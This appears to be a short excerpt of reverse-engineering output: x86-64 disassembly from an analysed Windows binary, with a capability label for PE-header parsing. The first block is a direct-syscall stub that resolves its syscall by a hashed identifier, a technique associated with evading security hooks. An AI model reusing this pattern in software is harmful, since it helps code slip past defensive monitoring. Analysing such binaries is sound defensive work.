mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x4a30e05
call fcn.1400016b0
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140009850
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000989a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000989a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000989a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000989a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000989a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000989c
xor al, al
add rsp, 0x28
ret